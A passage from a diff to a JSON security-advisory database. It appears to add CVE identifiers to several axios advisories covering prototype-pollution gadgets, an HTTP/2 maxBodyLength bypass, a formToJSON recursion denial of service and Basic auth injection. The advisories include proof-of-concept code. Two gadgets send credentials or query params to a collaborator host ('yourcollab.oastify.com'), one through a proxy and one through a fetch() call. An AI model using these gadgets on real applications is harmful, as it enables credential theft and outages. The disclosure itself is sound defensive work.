`paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`.\n\n## Affected Functionality\n\nAffected normal API:\n\n- `axios.get(url[, config])`\n- `axios.delete(url[, config])`\n- `axios.head(url[, config])`\n- `axios.options(url[, config])`\n\nAffected low-level usage:\n\n- Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`.\n- Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`.\n\nUnaffected or corrected scope:\n\n- Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads.\n\n## Technical Details\n\n`lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter.\n\n`lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`.\n\nThe low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values.\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) => {\n let body = '';\n\n req.on('data', chunk => {\n body += chunk;\n });\n\n req.on('end', () => {\n res.writeHead(200, {'content-type': 'application/json'});\n res.end(JSON.stringify({body, headers: req.headers}));\n });\n});\n\nawait new Promise(resolve => server.listen(0, '127.0.0.1', resolve));\n\nObject.prototype.data = 'INJECTED';\n\ntry {\n const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`);\n\n console.log(res.data.body); // \"INJECTED\"\n console.log(res.data.headers['content-length']); // \"8\"\n} finally {\n delete Object.prototype.data;\n await new Promise(resolve => server.close(resolve));\n}\n```\n\nExpected result: a request body is sent even though the caller did not explicitly set `config.data`.\n\n## Workarounds\n\nAvoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern.\n\n
\nOriginal Report\n\n### Summary\n\nThree prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests.\n\n### Details\n\nThe [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed:\n\n`config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs.\n\n`(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing.\n\n`config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings.\n\nI read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage.\n\n### PoC\n\nRan against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps.\n\n```javascript\nimport axios from 'axios';\n\n// gadget 1 - proxy\nObject.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' };\nawait axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } });\n// check collaborator - request arrives with full path + auth header\n```\n\n```javascript\n// gadget 2 - data on bodyless methods\nObject.prototype.data = '{\"injected\":true}';\nawait axios.get('https://api.example.com/items');\nawait axios.delete('https://api.example.com/items/1');\nawait axios.head('https://api.example.com/items');\n// 3/4 methods send the polluted body\n```\n\n```javascript\n// gadget 3 - paramsSerializer\nObject.prototype.paramsSerializer = (p) => {\n fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p));\n return 'q=x';\n};\nawait axios.get('https://api.example.com/search', { params: { token: 'secret' } });\n```\n\n### Impact\n\nAny app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly.\n
", "identifiers": { - "githubID": "GHSA-mmx7-hfxf-jppx" + "githubID": "GHSA-mmx7-hfxf-jppx", + "CVE": [ + "CVE-2026-67316" + ] }, "severity": "medium", "cwe": [ @@ -8647,7 +8668,10 @@ "summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`", "details": "## Summary\n\nAxios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.\n\nThis affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.\n\n## Impact\n\nAn attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.\n\nPractical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.\n\nBrowser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.\n\n## Affected Functionality\n\nAffected calls require all of the following:\n\n- Node.js HTTP adapter.\n- `httpVersion: 2`.\n- Request `data` supplied as a stream.\n- A finite `maxBodyLength`.\n- Attacker-controlled or attacker-influenced stream contents.\n\nUnaffected or differently affected paths:\n\n- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.\n- Browser XHR/fetch adapters are not affected.\n- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.\n- In `axios >=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node’s HTTP/2 request API does not enforce that option.\n\nThe stream-level byte-counting wrapper is currently gated on `config.maxBodyLength > -1 && config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.\n\nLocal verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.\n\nNo fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.\n\n## Proof of Concept of Attack\n\n```js\nimport http2 from 'node:http2';\nimport {Readable} from 'node:stream';\nimport axios from './index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http2.createServer();\n\nserver.on('stream', (stream) => {\n let received = 0;\n\n stream.on('data', (chunk) => {\n received += chunk.length;\n });\n\n stream.on('end', () => {\n stream.respond({':status': 200, 'content-type': 'application/json'});\n stream.end(JSON.stringify({received, limit: LIMIT}));\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\n\nfunction makeBody(total) {\n const chunk = Buffer.alloc(64 * 1024, 0x41);\n let remaining = total;\n\n return new Readable({\n read() {\n if (remaining <= 0) {\n this.push(null);\n return;\n }\n\n const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n }\n });\n}\n\ntry {\n const response = await axios.post(\n `http://127.0.0.1:${server.address().port}/upload`,\n makeBody(PAYLOAD_BYTES),\n {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n headers: {'content-type': 'application/octet-stream'}\n }\n );\n\n console.log(response.data);\n // Vulnerable result: { received: 2097152, limit: 1024 }\n} finally {\n server.close();\n}\n```\n\n## Workarounds\n\nFor `axios >=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.\n\nFor earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary\nOn Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.\n\n
\nOriginal Report\n### Details\nIn lib/adapters/http.js, transport selection is unconditional for HTTP/2:\n\nhttp.js Lines 937-956\n```\n if (isHttp2) {\n transport = http2Transport;\n } else {\n const configTransport = own('transport');\n if (configTransport) {\n transport = configTransport;\n } else if (config.maxRedirects === 0) {\n transport = isHttpsRequest ? https : http;\n isNativeTransport = true;\n } else {\n if (config.maxRedirects) {\n options.maxRedirects = config.maxRedirects;\n }\n const configBeforeRedirect = own('beforeRedirect');\n if (configBeforeRedirect) {\n options.beforeRedirects.config = configBeforeRedirect;\n }\n transport = isHttpsRequest ? httpsFollow : httpFollow;\n }\n }\n```\n\nmaxBodyLength is then stored on the request options:\n\nhttp.js Lines 958-963\n```\n if (config.maxBodyLength > -1) {\n options.maxBodyLength = config.maxBodyLength;\n } else {\n // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n options.maxBodyLength = Infinity;\n }\n```\n…but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:\n\nhttp.js Lines 1270-1304\n```\n // Enforce maxBodyLength for streamed uploads on the native http/https\n // transport (maxRedirects === 0); follow-redirects enforces it on the\n // other path.\n let uploadStream = data;\n if (config.maxBodyLength > -1 && config.maxRedirects === 0) {\n const limit = config.maxBodyLength;\n let bytesSent = 0;\n uploadStream = stream.pipeline(\n [\n data,\n new stream.Transform({\n transform(chunk, _enc, cb) {\n bytesSent += chunk.length;\n if (bytesSent > limit) {\n return cb(\n new AxiosError(\n 'Request body larger than maxBodyLength limit',\n AxiosError.ERR_BAD_REQUEST,\n config,\n req\n )\n );\n }\n cb(null, chunk);\n },\n }),\n ],\n utils.noop\n );\n uploadStream.on('error', (err) => {\n if (!req.destroyed) req.destroy(err);\n });\n }\n uploadStream.pipe(req);\n```\n\nFor the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.\n\n### PoC\n```\nimport http2 from 'node:http2';\nimport { Readable } from 'node:stream';\nimport axios from '../../index.js';\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\n// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an\n// `http://...` authority, which mirrors what axios does when the request URL\n// uses `http://` and `httpVersion: 2`.\nconst server = http2.createServer();\n\nserver.on('stream', (stream, _headers) => {\n let received = 0;\n stream.on('data', (chunk) => {\n received += chunk.length;\n });\n stream.on('end', () => {\n stream.respond({\n ':status': 200,\n 'content-type': 'application/json',\n });\n stream.end(JSON.stringify({ received, limit: LIMIT }));\n });\n stream.on('error', () => {\n /* swallow client-side aborts */\n });\n});\n\nawait new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));\nconst port = server.address().port;\n\nfunction makeBodyStream(totalBytes) {\n const CHUNK = Buffer.alloc(64 * 1024, 0x41);\n let remaining = totalBytes;\n return new Readable({\n read() {\n if (remaining <= 0) {\n this.push(null);\n return;\n }\n const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n },\n });\n}\n\ntry {\n let result;\n try {\n const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n // We intentionally do NOT set maxRedirects: 0 — that flag activates the\n // existing HTTP/1 byte-counting wrapper. The bug under test is that the\n // HTTP/2 transport path skips that wrapper entirely.\n headers: { 'content-type': 'application/octet-stream' },\n // Omit content-length so the body is streamed without a known length.\n });\n result = { status: response.status, data: response.data };\n } catch (err) {\n result = { error: err && (err.code || err.message) };\n }\n\n console.log('--- PoC: HTTP/2 maxBodyLength bypass ---');\n console.log('axios result:', JSON.stringify(result));\n\n const ok =\n result &&\n result.status === 200 &&\n result.data &&\n typeof result.data === 'object' &&\n result.data.received === PAYLOAD_BYTES &&\n result.data.limit === LIMIT;\n\n if (ok) {\n console.log(\n `VULNERABLE: server received ${result.data.received} bytes despite ` +\n `maxBodyLength=${LIMIT}.`\n );\n process.exitCode = 0;\n } else {\n console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // http2 sessions cached by axios may keep the event loop alive; force exit\n // after the assertion so the script returns instead of idling on TCP keep-alive.\n setImmediate(() => process.exit(process.exitCode || 0));\n}\n```\n\n### Impact\n- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.\n- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.\n- Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.\n
", "identifiers": { - "githubID": "GHSA-mwf2-3pr3-8698" + "githubID": "GHSA-mwf2-3pr3-8698", + "CVE": [ + "CVE-2026-67318" + ] }, "severity": "medium", "cwe": [ @@ -8674,7 +8698,10 @@ "summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service", "details": "## Summary\n\nAxios versions starting with `0.28.0` contain uncontrolled recursion in `formDataToJSON`, which is exposed as `axios.formToJSON()` and used internally when axios serialises `FormData` with `Content-Type: application/json`.\n\nIf an application passes attacker-controlled `FormData` field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.\n\n## Impact\n\nApplications are affected only when untrusted users can control `FormData` key names that are converted through axios.\n\nAffected paths include direct use of `axios.formToJSON()` on untrusted `FormData` and axios requests in which attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\nThe observed failure is `RangeError: Maximum call stack size exceeded`. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour.\n\n## Affected Functionality\n\nAffected functionality:\n- `axios.formToJSON(formData)`\n- Named ESM export `formToJSON`\n- Default `transformRequest` behaviour for `FormData` when `Content-Type` contains `application/json`\n\nUnaffected functionality:\n- Normal multipart `FormData` submission without JSON serialisation\n- `toFormData`, which already enforces a `maxDepth` guard\n- Axios versions `<=0.27.2`, where `formDataToJSON` was not present\n\n## Technical Details\n\nThe vulnerable code is in `lib/helpers/formDataToJSON.js`.\n\n`parsePropPath()` splits a field name such as `a[x][x][x]` into path segments. `buildPath()` then recursively processes one segment per call without enforcing a maximum depth:\n\n```js\nconst result = buildPath(path, value, target[name], index);\n```\n\nA key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit.\n\nRelevant source locations:\n- `lib/helpers/formDataToJSON.js` contains the unbounded recursive `buildPath()`.\n- `lib/axios.js` exposes the helper as `axios.formToJSON`.\n- `index.js` exposes `formToJSON` as a named export.\n- `index.d.ts` and `index.d.cts` declare the public API.\n- `lib/defaults/index.js` calls `formDataToJSON(data)` when JSON-serializing `FormData`.\n\nThe inverse helper, `toFormData`, already enforces `maxDepth` and throws `AxiosError` with `ERR_FORM_DATA_DEPTH_EXCEEDED`, but `formDataToJSON` does not have an equivalent guard.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from 'axios';\n\nconst fd = new FormData();\nfd.append('a' + '[x]'.repeat(15000), 'value');\n\ntry {\n axios.formToJSON(fd);\n console.log('not vulnerable');\n} catch (e) {\n console.log(`${e.constructor.name}: ${e.message}`);\n}\n```\n\nExpected result on affected versions:\n\nRangeError: Maximum call stack size exceeded\n\nThe same condition can be reached via an axios request transformation when attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\n## Workarounds\nApplications can reject or normalise untrusted form field names before calling `axios.formToJSON()`.\n\nApplications can avoid sending untrusted `FormData` through axios as JSON unless JSON conversion is required.\n\nApplications should catch errors around `formToJSON()` or axios requests that transform untrusted `FormData`.\n\n
\nOriginal Source\n\n### Summary\nAn uncontrolled recursion vulnerability in `formDataToJSON` allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like `a[x][x][x]...` with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable `RangeError`. The inverse function `toFormData` already enforces a `maxDepth` limit (default 100) for exactly this reason — `formDataToJSON` lacks the equivalent guard.\n\n### Details\n**Vulnerable function:** `buildPath` in `lib/helpers/formDataToJSON.js`, lines 50–82.\n\n`buildPath(path, value, target, index)` is called recursively — once per segment in the parsed property path — with no depth check:\n\n```javascript\n// lib/helpers/formDataToJSON.js, lines 50–82\nfunction buildPath(path, value, target, index) {\n let name = path[index++]; // advance one level\n if (name === '__proto__') return true;\n // ...\n if (!isLast) {\n // ...\n const result = buildPath(path, value, target[name], index); // recurse — NO depth guard\n // ...\n }\n}\n```\n\nThe key is first split into segments by `parsePropPath` (line 17), which extracts every `[segment]` via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames).\n\n**`formDataToJSON` is a public API** consumed two ways:\n\n1. **Directly by consumers** — exported as `axios.formToJSON()` (`lib/axios.js:80`), with TypeScript declarations in both `index.d.ts:699` and `index.d.cts:708`, and documented in the API reference in four languages (`docs/pages/advanced/api-reference.md`).\n\n2. **Internally by `transformRequest`** — called at `lib/defaults/index.js:56` when the request body is `FormData` and `Content-Type` contains `application/json`:\n ```javascript\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n ```\n\n**Contrast with `toFormData`:** The inverse function (`lib/helpers/toFormData.js:118`) enforces `maxDepth` (default 100) and throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` when exceeded. `formDataToJSON` has no equivalent protection.\n\n### PoC\nRequires only Node.js and an unmodified axios v1.x install:\n\n```javascript\nimport formDataToJSON from 'axios/lib/helpers/formDataToJSON.js';\n\n// Build a FormData with a single key containing 15,000 nested bracket segments\nconst fd = new FormData();\nconst key = \"a\" + \"[x]\".repeat(15000);\nfd.append(key, \"value\");\n\ntry {\n formDataToJSON(fd);\n console.log(\"Not vulnerable\");\n} catch (e) {\n console.log(e.constructor.name + \": \" + e.message);\n // RangeError: Maximum call stack size exceeded\n}\n```\n\nVerified output on Node.js 22.22.3 against axios v1.16.1 (current `v1.x` HEAD):\n\n```\nRangeError: Maximum call stack size exceeded\n```\n\nThe process crashes. In a server context (e.g., Express middleware calling `axios.formToJSON()` on an uploaded form), a single crafted request terminates the process.\n\n### Impact\n**Denial of Service (process crash).** Any unauthenticated user who can submit FormData to a Node.js application that passes it through `axios.formToJSON()` — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The `RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.\n
", "identifiers": { - "githubID": "GHSA-pmv8-rq9r-6j72" + "githubID": "GHSA-pmv8-rq9r-6j72", + "CVE": [ + "CVE-2026-67312" + ] }, "severity": "medium", "cwe": [ @@ -8701,7 +8728,10 @@ "summary": "Axios: Prototype pollution auth subfields can inject Basic auth", "details": "## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own('auth')`, but then reads subfields directly:\n\n```js\nconst configAuth = own('auth');\nif (configAuth) {\n const username = configAuth.username || '';\n const password = configAuth.password || '';\n auth = username + ':' + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n headers.set(\n 'Authorization',\n 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require('node:http');\nconst axios = require('axios');\n\nObject.prototype.username = 'victim-user';\nObject.prototype.password = 'victim-password-leaked';\n\nconst server = http.createServer((req, res) => {\n console.log({\n url: req.url,\n authorization: req.headers.authorization || null\n });\n\n res.end('{}');\n server.close(() => {\n delete Object.prototype.username;\n delete Object.prototype.password;\n });\n});\n\nserver.listen(0, '127.0.0.1', async () => {\n await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n auth: {}\n });\n});\n```\n\nExpected output:\n\n```json\n{\n \"url\": \"/api\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n
\nOriginal Report\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic ` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737–740** (Node http adapter):\n\n```js\nconst configAuth = own('auth'); // ← top-level guard OK\nif (configAuth) {\n const username = configAuth.username || ''; // ← reads .username on the inherited chain\n const password = configAuth.password || ''; // ← reads .password on the inherited chain\n auth = username + ':' + password;\n}\n```\n\n`own('auth')` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322–324):\n\n```js\nconst authUsername =\n authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;\nconst authPassword =\n authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739–740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own('auth'); // ← top-level guard OK\n...\nbtoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))\n// ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape — top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n buildFullPath(baseURL, url, allowAbsoluteUrls),\n config.params, // ← direct read, not through own()\n config.paramsSerializer // ← direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge —\nthe canonical insecure backend pattern — exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst http = require('node:http');\nconst axios = require('axios');\nconst defaultsDeep = require('defaults-deep');\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];\nfunction scrub() {\n for (const k of PROTO_KEYS) {\n try { delete Object.prototype[k]; } catch (_) {}\n }\n}\nscrub();\n\n// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n \"constructor\": {\n \"prototype\": {\n \"username\": \"victim-user\",\n \"password\": \"victim-password-leaked\",\n \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n }\n }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n// After this line:\n// Object.prototype.username === \"victim-user\"\n// Object.prototype.password === \"victim-password-leaked\"\n// Object.prototype.params === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) => {\n console.log('=== captured outbound request ===');\n console.log(JSON.stringify({\n method: req.method,\n url: req.url,\n authorization: req.headers.authorization || null,\n }, null, 2));\n res.end('{}');\n server.close();\n scrub();\n});\n\nserver.listen(0, '127.0.0.1', () => {\n const port = server.address().port;\n\n // 4) Realistic application wrapper: optional per-call overrides.\n // `auth: opts.auth || {}` is the common pattern — empty own object,\n // but inherited values walk the prototype chain.\n function makeRequest(targetUrl, opts = {}) {\n return axios.get(targetUrl, {\n timeout: 5000,\n auth: opts.auth || {},\n params: opts.params || {},\n });\n }\n\n makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {\n console.error('axios error:', e.message);\n scrub();\n process.exit(1);\n });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc && cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n \"method\": \"GET\",\n \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes 